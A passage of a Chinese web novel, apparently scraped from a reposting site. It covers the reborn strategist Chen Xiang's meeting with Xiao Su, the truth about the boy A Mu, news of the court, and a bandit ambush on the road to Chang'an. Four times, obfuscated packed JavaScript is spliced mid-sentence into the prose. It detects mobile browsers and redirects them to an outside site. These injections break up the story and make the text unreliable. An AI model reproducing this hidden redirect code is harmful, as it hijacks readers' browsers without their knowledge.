萧肃点了点头,似乎对这惊世骇俗的答案并不意外。他也没有去探究陈襄为何会死而复生、又是如何借尸还魂的,只道:“你刚借尸还魂不久罢?” 事到如今,也没什么好隐瞒的了。 陈襄道:“是。我现今的身份是陈家的一位旁系子弟,现在要去长安参与科举,你给我写个名帖。” 他也没提陈家败落的事。两人上辈子虽然配合默契,但彼此之间都留着几分戒心。如今他死而复生,时过境迁,谁知道对方怀着什么样的心思呢。 眼下最要紧之事是拿到名帖,至于其他的,之后再说。 这样举手之劳的小事想必对方也不会拒绝。 但萧肃并没有像陈襄预测的那般立刻答应,而是抬眸看向他:“你要去长安?参与科举?” 陈襄理直气壮道:“当然,我们陈家败落成这样,我自然要去长安一探究竟。” 他不能暴露系统任务,但找个借口还不容易? 萧肃一眼便看穿了陈襄的真实意图,声音冷冷地道:“上辈子也没见你多么在意陈家。你去长安,是察觉到了什么?” 陈襄心道,果然,萧肃这只老狐狸不好糊弄。 只是他亦有些疑惑。以萧肃的性格,向来是不多管闲事的。自己这般敷衍,对方本该睁一只眼闭一只眼,将此事轻轻揭过,权当什么都没看见才是。 可如今。陈襄见对方坚持地看着他,一副不说清楚就不写名帖架势。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647335|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的没错,陈家败落得如此彻底,的确出乎了我的预料,”陈襄叹了口气,将一根手指竖到面前,“但世间万物,有盛必有衰,有兴必有亡,这本不是我在意之事。” “但之后,我得知了科举由一年一次变为三年一次。” 他又竖起了第二根手指:“这改制背后,一看便知是士族在推波助澜。” 紧接着,陈襄目光灼灼地盯着萧肃,竖起了第三根手指:“最后,也是最重要的一点,我得知如今的荆州刺史——竟是你萧容和!” 萧肃抬眼,隔着棋盘,隔着陈襄竖起的三根手指,与对面这个现如今矮了他一头的少年对视。 陈襄的声音沉凝:“你竟不在朝廷中枢,而是自请外放。定是朝中局势紧张,你不想蹚这一趟浑水。” 两人共事多年,都清楚彼此。 从来只有萧肃算计别人,而没有别人算计他的份。对方外放一定是出自本意。 再联系起对方的性子。那朝堂中腥风血雨的事实就已经摆在眼前了。 萧肃看着陈襄笃定的面容,轻轻叹了口气,道:“不愧是你啊,陈孟琢。” 不愧是当年那个在风雨飘摇之中,辅佐太祖平定天下的武安侯。 果然目光如炬,一针见血。 萧肃抬眼,那双总是温润沉静,如古井般波澜不惊的眸子,此刻也不再伪装,直直地看向陈襄:“你既已知道朝堂局势紧张,方才活过来,又要再一脚踏进去?” 他的语气和眼神,分明在说,你上辈子死了一次还没长教训么。 面对萧肃这毫不掩饰的质疑,陈襄眉目扬起:“我总要知道,我好不容易才平定的天下,到底变成了什么样子。” 看着陈襄一副理所应当的模样,萧肃默然无语。 就是这样。 这就是陈孟琢。 若说寻常之人如飞蛾扑火,被危险的火光吸引,不由自主地靠近,却终归还存着几分理智,会在引火焚身之前堪堪停住;而他萧肃,自认比旁人更多几分克制,能从一开始就远离火焰。 可陈襄。此人却像是完全不知“危险”二字为何物,他会毫不犹豫地扑进火中,毫无畏惧,与其一同燃烧。 ——直至将自己燃烧殆尽。 萧肃被陈襄燃烧的火焰照亮,冷眼在一旁看着。 屠城杀降,他站在了百姓的对立面; 囚禁少帝、扶持主公,他站在了朝廷的对立面; 推行科举、打压士族,他站在了天下士族的对立面; 甚至,他功高震主、为君王所忌惮,他又站在了主公的对立面。 ——真真正正是举世皆敌。 萧肃有时候甚至会忍不住去想,陈襄莫不是在故意寻死? 他不仅对敌人狠辣,对自己更是狠到了极致。 就像是一个生命即将走到尽头的人,在最后的时光里,不顾一切地疯狂,不计后果,不择手段。 一个年纪轻轻便名满天下的世家子,为何偏偏要将天下之火尽数引到自己的身上? 甚至上一次的死亡还不够,重活一世,他竟还要再来一次。 萧肃看不懂陈孟琢。 他看着眼前少年的眼睛,这双眼睛,与他记忆中陈襄的那双眼睛一模一样,没有分毫变化。 萧肃的身体深处传来一阵细微的颤栗,血液涌动,吐息变得有些艰涩。 他用一种莫可名状的眼神看向陈襄。良久,才缓缓吐出一句话。 “陈孟琢。” “你真是个傻子、疯子。” 8. 第 8 章 ——挽大厦之将倾,只有傻子、疯子才会去做。 萧肃曾经就这么说过。 陈襄毫不在意地笑笑。 他上辈子被人骂疯子,听得耳朵都快起茧了,被骂傻子倒是第一次。 对于这个新鲜的评价,陈襄不置可否。他虽然行事酷烈,但脑子还是很好使的。天下人畏他如虎,不就是害怕他的智慧与手段么? 真正的聪明人,从不屑于理会旁人的非议。 于是,陈襄根本就没理会萧肃,自然地将这句评价连同那复杂的语气一并抛到了脑后。 二月的天气还有些微冷,堂内摆放着炭盆,炭火烧得正旺。桌案上的博山炉不知何时熄灭了,空气中还残留着一些暖香。 陈襄开口:“那你现今,可给我写名帖了?” 见他如此坚持,萧肃摇了摇头。他站起身,走到一旁的书架前,拿出笔墨纸砚。 陈襄顺手将棋盘上的残局收好,搁到一边,然后凑到萧肃身旁,看他提笔研墨。 墨汁逐渐晕染开,陈襄分辨出墨香中的香料气息,松烟、麝香、冰片以及,龙脑? 他心里虽惦记着朝堂的情况,但事已至此,着急无用,干脆等萧肃写完名帖之后再向对方询问。 萧肃的手指骨节分明,手掌宽大,握着笔杆的姿势沉稳而有力。他的字迹,如同其人一般,初看锋芒内敛,细品之下却极为劲道有骨。 陈襄感到有些无聊。 他想到那个将他带过来的孩子,于是随意开口,没话找话:“说起来,你们家阿木如今也长这么大了啊。” 话音刚落,他便见萧肃执笔的手腕骤然一顿。 那饱蘸墨汁的笔尖,在纸上留下了一个微小的墨点。 “你见过他了?”萧肃提笔继续书写。他目光依旧专注地落在笔下的纸上,没有抬头,声音平稳。 然而陈襄敏锐地感觉到不对劲。 萧肃是什么人?泰山崩于前而面不改色。就算是方才见到他这张“死而复生”的脸时,也能不露出半分异样的给他下套。 他刚才随口说的话,竟引得对方失态停笔? 因着萧肃其人的属性,陈襄在面对对方之时总抱着一丝警惕之心。他相信对方也是如此。 是以,陈襄对对方的一举一动都很在意。发现对方露出破绽,他是必要探究到底的。 “对啊。”陈襄不动声色地观察着萧肃的侧脸,“方才在府衙外面遇见的,还是他将我带进来的呢。” 萧肃的手极稳,面上滴水不漏,仿佛陈襄产生的疑问都是错觉。 但陈襄相信自己的判断。 于是他在脑中回溯着刚才的对话。 只不过随口提了一句阿木长大了,这有什么值得萧肃如此反应的?难道还能怕自己再对对方不利不成? 陈襄的眼神微微眯起。 还是说,萧肃的那句“你见过他了”,重点不在于“他”,而在于——“你见过”? 陈襄回忆起方才那个带他进入府衙的孩子,想起对方玉雪可爱的面容,目光从萧肃执笔的手缓缓上移,掠过对方线条优美的颈项,最终定格在他的脸上。 他不得不承认,萧肃此人虽然心黑,但面容的确俊美。 此刻对方微微垂眸,专注于笔下的字句,周身笼罩着一种沉静的书卷气。 面对着陈襄明目张胆的目光,萧肃却恍若未觉,连眼睫都未曾颤动分毫,依旧气定神闲地书写着,真真像一尊没有情绪、任人观赏的玉像。 阿木那孩子长得那般讨人喜欢,想来多半是遗传了萧肃这副好相貌。 希望那孩子只继承了容貌就好,可千万别把心思深沉、九曲十八弯也一并学了去。 陈襄看着对方眉眼,下意识地将阿木的脸与其对比,试图找出相似之处,可这一对比,却让他冷不丁一顿。 不对。 这对父子,好像、并不怎么相像? 萧肃的眉眼温润,鼻梁挺直,是一种内敛而不露锋芒的俊美。而阿木,陈襄清晰地记得,那孩子长着一双圆滚滚的猫眼,眼神清澈明亮,与萧肃这双古井无波的眸子截然不同。 再仔细比对两人都眉形、鼻梁、嘴唇……竟然没有一处能称得上是相似。 难道是阿木长得更像母亲? 可即便是像母亲,父子之间,当真能到没有丝毫相似之处的地步么? 陈襄心中疑虑。 要不是系统不知是哪个年代的古董,竟没有人脸识别功能,他都想让系统来扫描检测一番了。 陈襄单手支颐,手肘搁在木质桌案上,身体微微前倾。 一缕额发滑落下来,挡住了他对萧肃探寻的目光。他随手将那缕头发拨到耳后。 陈襄分明记得,第一眼看见阿木时,就觉得那孩子有种莫名的面善之感。他只当是对方像萧肃。 可如今看来,这父子二人容貌差异如此之大,那份突如其来的熟悉感又该从何解释? 当初他用阿木威胁萧肃之时,对方才不过两岁,如今一晃…… 陈襄的脑海中划过一丝亮光。 “说起来,”陈襄道,“我来时路过府衙外头,瞧见一个卖冰糖葫芦的老伯。那老伯跟我说,使君大人也爱吃他家的糖葫芦。” “我竟不知,萧大人原来也喜爱这种小孩子的甜食?” 面对陈襄的揶揄,萧肃头也未抬:“不过偶尔尝尝,有何稀奇?” “我方才遇到阿木时,他正巧就在买糖葫芦,一下子买了两串。”陈襄用闲聊般的轻松语气,“该不会是你自己不好意思去买,打发他替你跑腿罢?” “阿木如今也长大了,都能替大人打酱油——不是,是买糖葫芦了。” “他现今几岁了来着?” 萧肃写完了最后一个字,不疾不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈襄见萧肃依旧不露形色,于是故意激他:“我瞧着阿木的长相也不太像你啊,别是当年兵荒马乱的,抱错孩子了罢?” 这话就差没指着萧肃的鼻子说他是不是喜当爹了。 如此侮辱,任何人都难以忍受。 果然,萧肃终于有了反应。 他缓缓掀起眼帘,看向陈襄有些恶劣的眼神。 还真是,一模一样。 明明经历过一次死亡,对方却却好似没有任何变化。 萧肃克制住不合时宜的心绪。 陈襄没有在萧肃的眼中看到他预想的恼怒。但那眼神中带着一种特殊的意味,让他莫名心头一跳。 “那你觉得阿木像谁?”萧肃的语气中带有一丝莫名的意味,“像你么。” 陈襄第一反应是,萧肃忍不了他的挑衅,在阴阳怪气。 可那语气又不像全然的嘲讽,更像是陈述。 但,阿木怎么可能像他? 这孩子跟他能有什么关系?别说这孩子了,就算是他自己的孩子,也不可能像他—— 陈襄猛然顿住。 “……” 他霍然间抬起头,看向萧肃,目光凛冽。 ——他终于知晓为何会觉得阿木面善了。 9. 第 9 章 陈襄上辈子的确有个孩子。 是收养的。 自十六岁那年,他离开颍川投奔主公,就打定了主意,此生不涉婚娶,不留子嗣,将自己的一辈子都投身到系统任务的大业当中去。 这份决绝,在主公殷尚眼中,却化作了另一种含义。 ——陈襄做出这一切都是为了他殷尚的大业! 于是主公感动不已,在陈襄十八岁那年,大手一挥,想将自己的女儿许配与他。 陈襄:“……” 陈襄看着主公十二岁的女儿,脸色绿了。 他拒绝三连。 “天下未平,何以家为?” “襄此生只愿梅妻鹤子。” “没有那种世俗的欲望。” 见陈襄极为坚定,主公只好遗憾放弃。 在这之后,他为主公出谋划策,南征北战。主公的势力日益庞大,威名赫赫,几欲席卷天下。彼时,前朝气数将尽,仅余一位少帝苟延残喘。陈襄审时度势,见时机已然成熟,便向主公进言“迎立少帝,奉天子以令不臣”。 主公从善如流,自此手握大义名分,号令天下,莫敢不从。 为了进一步巩固双方的关系,也为了安抚少帝之心,主公再次想起了自己的女儿。 那位当年被陈襄婉拒的,现下也不过豆蔻年华的少女,被送入了宫中。 得知此事时,陈襄心中掠过一丝叹息。但也仅仅如此罢了。 平静并未持续太久。三年之后,天下十三州,已有大半落入主公手中。主公声名如日中天,权势熏灼,有了取而代之的气象。 前朝旧臣与渐渐长大的少帝当然不能容忍卧榻之侧有如此猛虎酣睡,开始频频试探,屡次三番想要收回主公手中的兵权。 朝堂之上,暗流涌动,杀机四伏。 于是,那一年深秋。 宫城之中燃起了一场突如其来的大火,火光映红了半边天空。烈焰吞噬了少帝,以及他的一众妃嫔子女。 事后,民间有流言悄然流传,言少帝失德,触怒上天,此乃天降之罚。 主公借此清洗一番朝堂。因少帝子嗣也已尽数葬身火海,于是不得已另立了一位远房宗室之后、年仅三岁的幼童为帝。其人依旧谦恭地做着权倾朝野的大将军大司马,辅佐新君。 此事是否为天罚,当属陈襄最为清楚。 因为这流言就是他放出的。 ——那场火也是他亲手放的。 当时,陈襄立于阴影之中,冷冷地注视着巍峨的宫殿。 火焰将一切吞噬,当然也包括已经成为皇帝妃嫔的、主公的女儿。 他也曾问过主公,是否要暗中将其救出,主公只是摆了摆手。 “不必。此事一出,明眼人都会盯着我们,但只要没有明证,便奈何我不得。” “岂能为妇人之仁,留下一把柄!” 陈襄默然领命。 但他并未想到的是,在他准备悄然离开之际,那个幼时跟他玩过捉迷藏的女孩竟然找到了他。 一片火光当中,一个踉踉跄跄的身影穿过浓烟与烈焰向他奔来。那人发髻散乱,衣裙沾满了灰烬与焦痕,脸上黑一道白一道。 她在距离陈襄几步远的地方重重跌倒在地,剧烈地咳嗽着,用尽最后的力气,将怀中紧紧抱着东西向前递出。 那是一个在襁褓中昏睡过去的孩子。 “求你,带他走。” 少女的声音破碎,猫眼中全是乞求。 陈襄不能带走这孩子。 此子不仅是主公的外孙,更是身负前朝血脉的少帝遗孤。留下他,会引出多少事端?这比带走少女更为麻烦。 即便他答应,主公又岂能容这孩子活命? 可那少女一身狼狈。 “孟琢哥哥,求求你。” 陈襄对上双噙满泪水的猫眼,嘴竟莫名答应了。 还未待他反悔,少女便绽开一个感激的笑容,快速地从地上爬起,将襁褓放入他手中。 而后未再多言半句,纵身跑回火海。 陈襄:“……” 他这是被碰瓷了? 陈襄挽留不及,只得低头看着襁褓中的孩子,叹息一声。 麻烦。 他将这孩子带回府中,对外只说是收养的远房族亲遗孤,取名阿萱。 萱草忘忧,亦能坚韧求生,只盼这孩子能如草芥般,多活一日是一日。 现下主公需要他,面上给予他极大的信任与权利,暂时会当做不知。但他又能护得这孩子几时?待他身死主公照样不会留下这个隐患。 所以他重生之后,已下意识地认定阿萱不在人世。 但现如今,陈襄惊觉先前见过的阿木的面容,和记忆深处火光映照下的少女容颜何其相似! 一股寒意陡然窜上脊背。陈襄盯住萧肃,一字一顿道:“萧容和,你究竟想做什么?” 阿萱的身份,按理只有他和主公知晓,后者断无可能泄露出去。但那些聪明人是否会猜到一些,陈襄不敢保证。 纸上的墨迹稍干。 萧肃动作轻缓地将其拿起、折叠:“只是见昔日武安侯抄家问斩,心存不忍罢了。” “心存不忍?”陈襄重复着这四个字,只觉荒谬至极,“萧容和,你觉得我会信?” 萧肃此人,绝非无的放矢之辈。 他到底知不知晓阿萱的真实身份?若知晓,他想借此做什么?若不知晓,又怎会将阿萱救出来? 陈襄几乎立刻便将此事和系统任务联系了起来。 有人搅弄风云,妄图为祸天下,若以前朝遗孤为旗号…… 陈襄的目光如刀,似要剖开萧肃那张温润无害的皮囊,直视他心底的算计。 面对陈襄眼中毫不掩饰的猜疑与审视,萧肃轻叹了口气,道:“肃此生并无大志,最是怕麻烦。孟琢何忧?” 信他才有鬼。 陈襄冷冰冰地道:“前朝少帝及其妃嫔子女,十年前已尽数葬身火海,天下皆知。本朝乃前朝皇帝自发禅让,名正言顺。” “如今海晏河清,人人皆是新朝子民,早已无人念着前朝旧事了。” 这道理任何人都该明白。 可萧肃偏偏做了这等不合常理之事,他不得不再次点明。 陈襄是真的不明白。萧肃绝非是那等念及前朝的死忠之士,天下大乱于他究又有何好处? 萧肃迎上陈襄的目光,静静看了他片刻。 这的确是他会有的反应。防备,警惕,不信任。 他想做什么?他能做什么? 陈孟琢对他总是格外提防。 想及此处,萧肃心中微动,唇角逸出了些许笑意。 他是不可近,不可交,不可信之人。陈襄不信他,他反而觉得……欣慰。 萧肃垂下眼帘,语声温和道:“吾自知晓,孟琢不必忧心。” “鳏寡之人,所愿唯有阿木能好好长大罢了。” 听到这话,陈襄面色变得极其复杂。 寡夫,幼子,相依为命。这便是萧肃多年来示于人前的模样。他安静沉默,温润顺从,从不引起人的警惕之心。 陈襄当初未与这人深交,也曾被这表象迷惑,便顺手以此为胁。毕竟,任谁都知道萧肃最是在意他的幼子。 但后来他与萧肃配合日久,渐渐窥见此人面具下的城府。 萧肃深谙“木秀于林,风必摧之”的道理,处处藏拙。 这样的人,会将自己在意的孩子暴露在所有人的视野下么? 陈襄想到了什么,语气微顿:“萱草盈阶,本株何之?” 萧肃眸光平静无波,淡淡道:“萱草既殄,而木擢秀以有蕤。” 陈襄看向萧肃的眼光中满是惊愕。 真正的阿木,与阿萱做了交换。以阿萱的身份,在他死后,殷尚绝不会容那孩子活下来…… 对方为什么要用自己的亲子来换阿萱?! 他又不是革命战士,萧肃更不是淳朴的百姓! 陈襄再一次看清了眼前这人那温润表象下的冷酷心性。 他可以确定了。之前的萧肃表现出一副珍视幼子的形象,但实则根本不在乎阿木,这不过是刻意摆在明面上的弱点。 对于一个看不见弱点的人,世人总是防备的。 但若反而行之,有着明晃晃、能让人看见的弱处,旁人反倒会安心,觉得其威胁大减。 阿木可是他的亲生子。 昔日种种在意与重视若皆是伪装,那萧肃,究竟会在意些什么?他心中,究竟在想些什么? 萧肃看到陈襄眼神中明晃晃的质问。 ……他在想什么? 父母早亡,他未曾动容;发妻为他生子,难产而去,他甚至记不清她的容貌;幼子弱小无助,他也未有什么舐犊之情,只将其当做避祸的幌子、推至人前的挡箭牌。 他天性凉薄、置身事外。若无意外,他大概会默默无闻的度过一生,无功无过,直至终老。 但乱世来了。 陈孟琢将他狠狠地拉了一把。 与陈襄共事那几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647337|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他竟体会到了几分所谓热血沸腾、心潮涌动之感。 所以,在对方死后,他会为他叹惋一声。 顾念着这点微末情分,他将对方的孩子救了出来,也是理所应当的罢。 萧肃自己不在乎血脉延续。于他而言,移栽草木,并无甚分别。 陈襄看着萧肃,只觉得对方不可理解。 “你真是个……疯子。”他缓缓吐出这句话,用萧肃之前赠予他的话回敬了他。 萧肃神色怡然,唇边漾开一抹极淡的笑意。 “或许。” 像是为了安抚陈襄一般,他又主动开口:“孟琢不必多虑。在乱世中打过一滚,也就够了。倒是你。” 他话锋一转,觑向陈襄:“此去长安,那里的风起云涌怕是容不得你安心。” 陈襄沉默。 他无法理解萧肃的举动,但仔细思考之后得出,至少眼下,萧肃并非系统所指的目标。 若萧肃真的有心要做些什么,就不会让阿木随意地跑出去买糖葫芦了。 ——那就罢了。 陈襄不再探究对方,凝神敛息,将注意力回转。 “如今的朝廷,如何了?” “我以为你应当知晓,”萧肃目光移向窗外,似是看向遥远的长安城,“你走得仓促,寒门根基未稳,被士族找到机会是意料中事。” 陈襄道:“国朝初定,为求安稳,主公向世家稍作妥协,我能理解。但有主公在,两方必然都不敢太过放肆。只要科举制能推行下去,此消彼长,寒门取代士族是迟早的事!” 萧肃道:“那你可知,太祖已经龙驭上宾了?” 陈襄道:“我知道。即位的不应该是殷承嗣么,对方亦会支持科举。” 说到此处,陈襄语气有些凝重起来:“他是我亲手教出来的,总不至于连局面都控制不住,反被世家掣肘?” 萧肃收回视线,看着陈襄:“你所想的,原本没错。只是,出了意外。” 陈襄心脏“咯噔”一声。 不会是……主公那老登晚年发癫,殷承嗣没有继位罢? 这并非他胡思乱想,历代英主晚年昏聩发癫的例子史不绝书。 他急忙追问:“什么意外?登基的不是承嗣?” “是仁宗,但……”萧肃话未说完,陈襄的心脏不咯噔了。 而是直接沉了下去。 仁宗。 民无能名曰仁,克己复礼曰仁,功施于民曰仁,屈己逮下曰仁。仁宗,是个好谥号,看来殷承嗣做皇帝做的还不错。 ——可这是谥号! 君王死了,才会有谥号! 殷承嗣才多大?算算年纪可有三十?! 没等陈襄脑中风暴席卷,萧肃便将话说完:“太祖薨后,仁宗即位。仁宗感念太祖,欲等孝期过后再更改年号,谁料未等新年号颁行便驾崩了。” “在位,不足一年。” 陈襄眉头紧锁。 这确实是他未曾料到的变故。 他早该察觉异常。方才重生,他问过系统,得到的回答是元安七年。 元安,是他主公开国太祖殷尚的年号。在得知殷尚已死后,他就该想到其中有问题。 新帝登基,例该改元的。 然而,这又产生了一个新的问题——殷承嗣死后,继位的新帝又是怎么回事? 为何也未改元? “那如今继位的是?”陈襄语气微顿,小心翼翼地问。 他已抓住了朝堂乱象的根源。殷承嗣死得如此之早,莫说朝中人心浮动,便是各地的成年藩王,岂能不蠢蠢欲动。 难道是殷纪?这小子手握兵权…… 萧肃开口打断了他的猜测:“继位的是仁宗长子。因其年幼,如今由太后垂帘听政,年号也因此暂未更改。” 不是藩王乱政就好。 陈襄先是松了口气,但随即又想到什么,眼皮一跳:“年幼,具体是指?” 萧肃看了他一眼:“新帝登基时年方五岁。如今,八岁。” 陈襄:“……” 前朝就是因为接连是幼帝继位,各方势力争斗不休而亡的。 如今,寒门和士族各自角力,开国太祖尚能镇压,即位之君亦可维持,可一个八岁的幼帝…… 他竟一时不知,皇位上坐的不是乱政的成年藩王,究竟算不算得一件好事了。 萧肃的指腹在名帖的折痕处轻轻抹过,而后将其拿起,最后一次看向他面前的少年。 “你当真决定了,要去长安?” 10. 第 10 章 这句话,他实不必再问一遍的。 直到陈襄那道单薄的身影消失在道路尽头,萧肃仍在门前伫立半晌,方才收回视线。 庭院寂静,只余风过树梢的微响。 “出来罢。” 他开口,声音不高,却在这寂静的庭院中显得格外清晰。 片刻之后,屋后转出一个孩童的身影。 正是萧榆。 萧榆走到离萧肃几步远的地方停下,仰头问道:“那人是阿父的旧友么?” 萧肃转过身,面色淡淡。平日里温和的面部线条,此刻显得有些冷峭,自有一股威仪。 “我教过你什么?”他的语气听不出喜怒,却让人不自觉地心头发紧。 萧榆垂下头,低声道:“……忘记。” 他的记忆力很好。 天生的。 所以,那些久远到模糊的记忆,火焰焚烧的气息,和幼时糖葫芦的味道,他都记得。 但他很快又抬起头,眼神十分固执:“他是不是阿父的旧友?” 萧肃的目光掠过庭院中中那棵枝繁叶茂的树木,最终落回萧榆脸上。 两人对视。这对父子的面容没有分毫相似,眉宇间的神情竟却如出一辙。 萧肃叹了口气。 “莫要去给他添麻烦。” 萧榆紧绷的小脸松动,眼神微亮。 这句话几乎就算是承认了。 但紧接着,萧肃的话锋毫无预兆地一转:“我听说,近来外面有些传言,说本君爱吃糖葫芦?” 萧榆的身体一僵。 “我让你每两日只许吃一串,免得牙痛复发。”萧肃语气清淡,“看来,你并未听进去。” 萧榆的手下意识攥紧了衣袖边缘。 萧肃瞥了他一眼:“既如此,从明日起一个月内,便不准再碰了。” 晴天霹雳! 萧榆的眼睛瞬间便瞪圆了,像是一只受到惊吓的猫咪。听到这难以置信的噩耗,他整个人都失魂落魄了起来。 …… 陈襄怀揣着那封由萧肃亲笔写就,新鲜出炉的名帖返回客栈,脚步却不似来时那般轻快。 要不是大爷叫住了他,他都忘记买过两串糖葫芦了。 饶是如此,他也没了胃口,将两串糖葫芦全都塞给了杜衡,自己回到房间内。 从萧肃那里,他厘清了如今朝堂的大致轮廓,总算不再是两眼一抹黑。 但他心中盘旋着的一个疑问,却始终没有被他问出口。 一个本该在朝堂上举足轻重的名字,却自始至终未被萧肃提及。 荀珩。 他的师兄。 辅佐主公征战天下,师兄功劳卓著不逊于他。天下平定之后,师兄的封赏仅在他之下,加封太傅一职,是名副其实的帝师。在他死后,理应成为朝堂上的第一人。 而后仁宗早逝,幼帝登基,以师兄的家世能力,功劳和名声,被委以托孤重任,执掌朝政中枢,几乎是板上钉钉的事。 可萧肃的叙述里,偏偏没有荀珩。 仿佛这个人,从朝局的核心凭空消失了一般。 陈襄深信以师兄的能力,足以压住士族和寒门之间的争斗。师兄也绝不会因为科举制是他一手创立的,就心生芥蒂,撒手不管。 师兄其人,素有公心,绝非因私废公之辈。他若身居高位,必然会竭力维护并推行科举。 所以,朝堂为何会是如今这般景象? 一个念头突然浮现在陈襄的脑海当中。 ——不会是师兄出什么事了罢? 陈襄猛地打了个激灵。 连正值盛年、身体康健的殷承嗣都能在短短一年内驾崩,那师兄…… 他怎么就没跟萧肃问一声呢?! 陈襄咬住后槽牙,重重地锤了一下床板。 还有系统!连个“查询人物状态”的功能都没有,差评! 他只能告诉自己,若师兄真出了什么惊天动地的大事,譬如身患重病或是被贬斥流放,那必然是朝野震动,满城风雨,萧肃不可能不提及。 既然萧肃没说,那就意味着至少师兄还活着、还在朝中。 可即便如此,忧虑还是如野草般在陈襄心中疯狂滋生,让他十分焦躁。 于是第二天一早,天刚蒙蒙亮,他便把杜衡从床上薅了下来。 “我已经开具好名帖了,你也快些去。” “啊,陈兄已经拿到名帖了?”杜衡揉着眼睛,惊讶之情溢于言表。 这么快? “碰巧使君昨日有闲暇。”陈襄言简意赅,不多作解释,“现在就差你一个人了。你一个人,拖慢了整个队伍的行程,我们已经落后别人许多了!” “落、落后?” “你若耽误一个时辰的时间,我们有十八个人同行,那便是十八个时辰的延误!” 这算法听得杜衡一愣一愣的:“陈兄,我们预留的时间应当是足够的,不必如此着急……” “难道你不想早日抵达长安?”陈襄板着脸打断他的话,“早些去,便能早些打探京中时下流行的文章风向,也能早些了解此次科举的详细情形。” “知己知彼,方能百战不殆!” 这番话正中杜衡七寸。 听陈襄这么一说,杜衡立刻起身开始穿衣。 “陈兄所言极是!”他一边系衣带一边肃然道,“我这便去府衙开具名帖。拿到之后,我们即刻启程!” …… 二月料峭,寒意未散。 武关道上,一队车马辗着初春的泥泞缓缓行进。 武关道作为连接襄阳与长安的唯一官道,自古便是商旅往来的咽喉要道。 然前朝末年,天下分崩离析,战火四起,羌人趁势作乱,通客道上无复商旅。直到七年前,太祖殷尚扫平六合,定鼎天下,此地才重归安宁,商道复通。 车厢内,陈襄斜倚着软垫闭目养神,对面的杜衡正襟危坐,手捧书卷凝神研读。 长途跋涉,车马劳顿,经过多日的奔波,一行人终于进入了京兆尹的管辖地界,长安已近在眼前。 杜衡似乎有些倦了,他放下手中的书卷揉了揉眉心,转而望向车窗外。 窗外是连绵起伏的山峦,冬雪初融,草木尚未完全复苏,带着一种挥之不去的萧瑟。 他看着外边的景象,不由轻声感慨道:“陈兄,你看这武关道,虽天下已太平七年,沿途却仍可见不少废弃的村落,田地也多有荒芜之处。想来当年战乱之酷烈,至今未能完全恢复元气。” 陈襄依旧闭着眼,只从鼻腔里淡淡地“嗯”了一声。 恢复元气?谈何容易。 这天下初定,看似平静的表面下暗流汹涌。 七年,对于饱受战火蹂躏的土地和百姓而言,不过是喘息之机,远未到真正安稳的时候。 车队行至一险峻地界,狭窄的驿道被两侧密林吞噬,光线晦暗。 就在此时,异变陡生。 数块巨石携着泥土,从高处砸落,发出“轰隆”的沉闷巨响,正正挡住了车队前行的道路。 辕马受惊,人立而起,发出惊恐的嘶鸣。 尘土尚未完全落定,两侧的灌木丛中已呼啦啦地冲出数十条身影。他们手持简陋兵刃,衣衫褴褛,面带凶光直扑车队而来! “是劫匪!”仆从惊呼,纷纷拔刀护卫。 他们到底是杜家精挑细选出来的,虽惊不乱,迅速结成圆阵,将马车护在中央。 杜衡脸色一变,下意识地抓起身旁的长剑,紧紧握住剑柄。 陈襄倏然睁开双眼,眼中光芒一闪而逝。他掀开车帘一角,平静而迅速地扫过外面混乱的场面。 他的目光并未在那些普通的流民身上过多停留,而是精准地落在了几个混杂其中、身材明显更为壮硕、行动间隐隐透着几分章法的男子身上。 他们的动作,看似与其他劫匪无异,但那种下意识的趋避、格挡、以及隐约的配合,都带着一股挥之不去的军伍气息。 逃兵?陈襄的眉梢几不可察地轻轻挑动了一下。 天下平定七年,没想到在京畿左近的官道上,还能遇到匪患。 外面的厮杀声、呼喝声、兵刃碰撞声交织在一起。 杜家的护卫虽然装备精良,训练有素,然而对方人多势众,蜂拥而上,一时间竟形成了僵持之势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647338|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈兄!”杜衡脸色紧绷,指节因过度用力紧握剑柄而发白,“贼人势众,我等当协力御敌!” 他说着,便要挺身而起。 “稍安勿躁。”陈襄头也未回,伸手按在杜衡蓄力欲起的手臂上。 他的力道不大,却成功让杜衡动作一滞。 “此地离长安已不足百里,又是官道要冲。稍有动静,巡防的兵马必会闻讯而来。” 陈襄的视线依旧落在车外那片混乱的战局上,声音不大,却清晰地传入杜衡耳中,带着一种不容置疑的沉稳与命令。 他吐出一个字:“等。” 杜衡被他这临危不乱的态度震慑住了。 